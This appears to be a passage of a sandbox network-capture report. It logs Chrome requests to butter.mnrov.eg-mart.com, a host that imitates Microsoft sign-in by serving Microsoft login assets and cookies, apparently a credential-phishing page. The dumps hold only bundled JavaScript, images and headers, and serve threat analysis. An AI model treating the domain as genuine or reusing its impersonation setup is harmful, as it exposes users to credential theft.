2024-11-14 15:39:48 UTC	16383	IN	Data Raw: 2f 67 3b 66 75 6e 63 74 69 6f 6e 20 4e 28 74 29 7b 72 65 74 75 72 6e 20 74 3c 31 36 3f 22 30 22 2b 74 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 3a 74 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 74 2c 65 29 7b 76 61 72 20 72 3b 65 3d 65 7c 7c 49 6e 66 69 6e 69 74 79 3b 66 6f 72 28 76 61 72 20 6e 3d 74 2e 6c 65 6e 67 74 68 2c 6f 3d 6e 75 6c 6c 2c 69 3d 5b 5d 2c 73 3d 30 3b 73 3c 6e 3b 2b 2b 73 29 7b 69 66 28 28 72 3d 74 2e 63 68 61 72 43 6f 64 65 41 74 28 73 29 29 3e 35 35 32 39 35 26 26 72 3c 35 37 33 34 34 29 7b 69 66 28 21 6f 29 7b 69 66 28 72 3e 35 36 33 31 39 29 7b 28 65 2d 3d 33 29 3e 2d 31 26 26 69 2e 70 75 73 68 28 32 33 39 2c 31 39 31 2c 31 38 39 29 3b 63 6f 6e 74 69 6e 75 65 7d 69 66 28 73 2b 31 3d 3d 3d 6e 29 7b 28 65 Data Ascii: /g;function N(t){return t<16?"0"+t.toString(16):t.toString(16)}function F(t,e){var r;e=e\|\|Infinity;for(var n=t.length,o=null,i=[],s=0;s<n;++s){if((r=t.charCodeAt(s))>55295&&r<57344){if(!o){if(r>56319){(e-=3)>-1&&i.push(239,191,189);continue}if(s+1===n){(e
2024-11-14 15:39:48 UTC	16383	IN	Data Raw: 7d 76 61 72 20 72 2c 6e 2c 6f 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 65 26 26 6e 75 6c 6c 21 3d 3d 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 74 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 65 26 26 65 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 74 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 Data Ascii: }var r,n,o;return function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),Object.defineProperty
2024-11-14 15:39:48 UTC	16383	IN	Data Raw: 65 29 7d 72 65 74 75 72 6e 20 6e 65 77 20 6f 5b 22 64 65 66 61 75 6c 74 22 5d 28 74 29 7d 2c 65 2e 77 61 72 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6e 6f 64 65 3a 74 68 69 73 7d 3b 66 6f 72 28 76 61 72 20 6f 20 69 6e 20 72 29 6e 5b 6f 5d 3d 72 5b 6f 5d 3b 72 65 74 75 72 6e 20 74 2e 77 61 72 6e 28 65 2c 6e 29 7d 2c 65 2e 72 65 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 61 72 65 6e 74 26 26 74 68 69 73 2e 70 61 72 65 6e 74 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 29 2c 74 68 69 73 2e 70 61 72 65 6e 74 3d 75 6e 64 65 66 69 6e 65 64 2c 74 68 69 73 7d 2c 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 73 5b Data Ascii: e)}return new o["default"](t)},e.warn=function(t,e,r){var n={node:this};for(var o in r)n[o]=r[o];return t.warn(e,n)},e.remove=function(){return this.parent&&this.parent.removeChild(this),this.parent=undefined,this},e.toString=function(t){void 0===t&&(t=s[
2024-11-14 15:39:48 UTC	16383	IN	Data Raw: 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 61 26 26 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 21 6f 2e 70 72 65 70 61 72 65 53 74 61 63 6b 54 72 61 63 65 29 66 6f 72 28 3b 65 2d 2d 3b 29 74 3d 69 28 74 2c 75 2c 22 22 29 3b 72 65 74 75 72 6e 20 74 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 33 37 29 3b 74 2e 65 78 70 6f 72 74 73 3d 21 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 7d 72 65 74 75 72 6e 20 74 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 6e 75 6c 6c 2c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 6e 65 77 20 74 29 21 3d 3d 74 2e 70 72 Data Ascii: .exports=function(t,e){if(a&&"string"==typeof t&&!o.prepareStackTrace)for(;e--;)t=i(t,u,"");return t}},function(t,e,r){"use strict";var n=r(537);t.exports=!n((function(){function t(){}return t.prototype.constructor=null,Object.getPrototypeOf(new t)!==t.pr
2024-11-14 15:39:48 UTC	16383	IN	Data Raw: 26 26 61 72 67 75 6d 65 6e 74 73 5b 31 5d 21 3d 3d 75 6e 64 65 66 69 6e 65 64 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 7b 7d 3b 65 2e 70 6c 75 67 69 6e 7c 7c 74 68 69 73 2e 6c 61 73 74 50 6c 75 67 69 6e 26 26 74 68 69 73 2e 6c 61 73 74 50 6c 75 67 69 6e 2e 70 6f 73 74 63 73 73 50 6c 75 67 69 6e 26 26 28 65 2e 70 6c 75 67 69 6e 3d 74 68 69 73 2e 6c 61 73 74 50 6c 75 67 69 6e 2e 70 6f 73 74 63 73 73 50 6c 75 67 69 6e 29 3b 76 61 72 20 72 3d 6e 65 77 20 73 28 74 2c 65 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 6d 65 73 73 61 67 65 73 2e 70 75 73 68 28 72 29 2c 72 7d 7d 2c 7b 6b 65 79 3a 22 77 61 72 6e 69 6e 67 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6d 65 73 73 61 67 65 73 2e 66 69 6c 74 65 72 28 28 66 Data Ascii: &&arguments[1]!==undefined?arguments[1]:{};e.plugin\|\|this.lastPlugin&&this.lastPlugin.postcssPlugin&&(e.plugin=this.lastPlugin.postcssPlugin);var r=new s(t,e);return this.messages.push(r),r}},{key:"warnings",value:function(){return this.messages.filter((f
2024-11-14 15:39:48 UTC	16383	IN	Data Raw: 29 7b 72 2e 68 61 6e 64 6c 65 45 72 72 6f 72 28 74 2c 6e 29 2c 72 2e 70 72 6f 63 65 73 73 65 64 3d 21 30 2c 65 28 74 29 7d 29 29 3a 74 68 69 73 2e 61 73 79 6e 63 54 69 63 6b 28 74 2c 65 29 7d 63 61 74 63 68 28 69 29 7b 74 68 69 73 2e 70 72 6f 63 65 73 73 65 64 3d 21 30 2c 65 28 69 29 7d 7d 2c 6c 2e 61 73 79 6e 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 6f 63 65 73 73 65 64 3f 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 72 29 7b 74 2e 65 72 72 6f 72 3f 72 28 74 2e 65 72 72 6f 72 29 3a 65 28 74 2e 73 74 72 69 6e 67 69 66 79 28 29 29 7d 29 29 3a 28 74 68 69 73 2e 70 72 6f 63 65 73 73 69 6e 67 7c 7c 28 74 68 69 73 2e 70 72 6f 63 65 73 73 69 6e 67 3d 6e 65 77 20 Data Ascii: ){r.handleError(t,n),r.processed=!0,e(t)})):this.asyncTick(t,e)}catch(i){this.processed=!0,e(i)}},l.async=function(){var t=this;return this.processed?new Promise((function(e,r){t.error?r(t.error):e(t.stringify())})):(this.processing\|\|(this.processing=new

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.17	49752	78.138.9.37	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:48 UTC	785	OUT	GET /Me.htm?v=3 HTTP/1.1 Host: butter2.mnrov.eg-mart.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://butter.mnrov.eg-mart.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uaid=cf4cea7dd6f64493aefbc2cfc9d84ae8; MSPRequ=id=N&lt=1731598780&co=1
2024-11-14 15:39:49 UTC	724	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 14 Nov 2024 15:39:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=315360000 Expires: Sun, 12 Nov 2034 15:39:48 GMT P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Ppserver: PPV: 30 H: SN1PEPF0002F9E6 V: 0 Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: uaid=61a24bf7eedc41f390e850f8e72a8375; domain=butter2.mnrov.eg-mart.com; Secure; path=/; SameSite=None; HttpOnly Set-Cookie: MSPRequ=id=N&lt=1731598788&co=0; domain=butter2.mnrov.eg-mart.com; Secure; path=/; SameSite=None; HttpOnly Vary: Accept-Encoding X-Ms-Request-Id: f0f07c58-babc-493e-857b-7469ba50cfbd X-Ms-Route-Info: C548_SN1
2024-11-14 15:39:49 UTC	3467	IN	Data Raw: 64 37 31 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 65 29 74 5b 73 5d 3d 65 5b 73 5d 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 6e 29 7b 69 66 28 73 5b 6e 5d 29 72 65 74 75 72 6e 20 73 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 69 3d 73 5b 6e 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 6e 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 63 61 6c 6c 28 69 2e 65 78 70 6f 72 74 73 2c 69 2c 69 2e 65 78 70 6f 72 74 73 2c 65 29 2c 69 2e 6c 6f 61 64 65 64 3d 21 30 2c 69 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 73 3d 7b 7d 3b 72 65 74 75 72 6e 20 Data Ascii: d71<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.17	49748	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:48 UTC	419	OUT	GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:48 UTC	716	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20340193 Cache-Control: public, max-age=31536000 Content-MD5: tUCo5RgDcZLjLE/li/Lbqw== Content-Type: image/gif Date: Thu, 14 Nov 2024 15:39:48 GMT Etag: 0x8DB5C3F492F3EE5 Last-Modified: Wed, 24 May 2023 10:11:48 GMT Server: ECAcc (lhc/7941) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 1d63faa2-d01e-009e-5cad-7d1f4c000000 x-ms-version: 2009-09-19 Content-Length: 3620 Connection: close
2024-11-14 15:39:48 UTC	3620	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 0f Data Ascii: GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.17	49747	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:48 UTC	425	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:48 UTC	716	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20340015 Cache-Control: public, max-age=31536000 Content-MD5: Fm3lNHEmUlOrOkVt7+baIw== Content-Type: image/gif Date: Thu, 14 Nov 2024 15:39:48 GMT Etag: 0x8DB5C3F4982FD30 Last-Modified: Wed, 24 May 2023 10:11:48 GMT Server: ECAcc (lhc/7945) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: c8ea465c-601e-0025-11ad-7d4c1f000000 x-ms-version: 2009-09-19 Content-Length: 2672 Connection: close
2024-11-14 15:39:48 UTC	2672	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e 69 18 14 00 21 Data Ascii: GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~i!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.17	49749	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:48 UTC	437	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_d0a803279e7397bef834.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:49 UTC	749	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 7639807 Cache-Control: public, max-age=31536000 Content-MD5: betEqf4nMmbvq8MhS5mLoA== Content-Type: application/x-javascript Date: Thu, 14 Nov 2024 15:39:48 GMT Etag: 0x8DCBD52F3A242D0 Last-Modified: Thu, 15 Aug 2024 17:51:55 GMT Server: ECAcc (lhc/7941) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: bbd0cf2c-501e-006f-482f-f15e3d000000 x-ms-version: 2009-09-19 Content-Length: 15755 Connection: close
2024-11-14 15:39:49 UTC	15755	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.17	49751	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:48 UTC	663	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://butter.mnrov.eg-mart.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:49 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20339871 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Thu, 14 Nov 2024 15:39:48 GMT Etag: 0x8DB5C3F466DE917 Last-Modified: Wed, 24 May 2023 10:11:43 GMT Server: ECAcc (lhc/792B) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 60ece416-101e-0092-59ad-7deb55000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2024-11-14 15:39:49 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.17	49750	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:48 UTC	664	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://butter.mnrov.eg-mart.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:49 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20339911 Cache-Control: public, max-age=31536000 Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Content-Type: image/svg+xml Date: Thu, 14 Nov 2024 15:39:48 GMT Etag: 0x8DB5C3F495F4B8C Last-Modified: Wed, 24 May 2023 10:11:48 GMT Server: ECAcc (lhc/7892) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 002cd9d5-201e-00e1-69ad-7d6453000000 x-ms-version: 2009-09-19 Content-Length: 3651 Connection: close
2024-11-14 15:39:49 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.17	49753	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:50 UTC	419	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
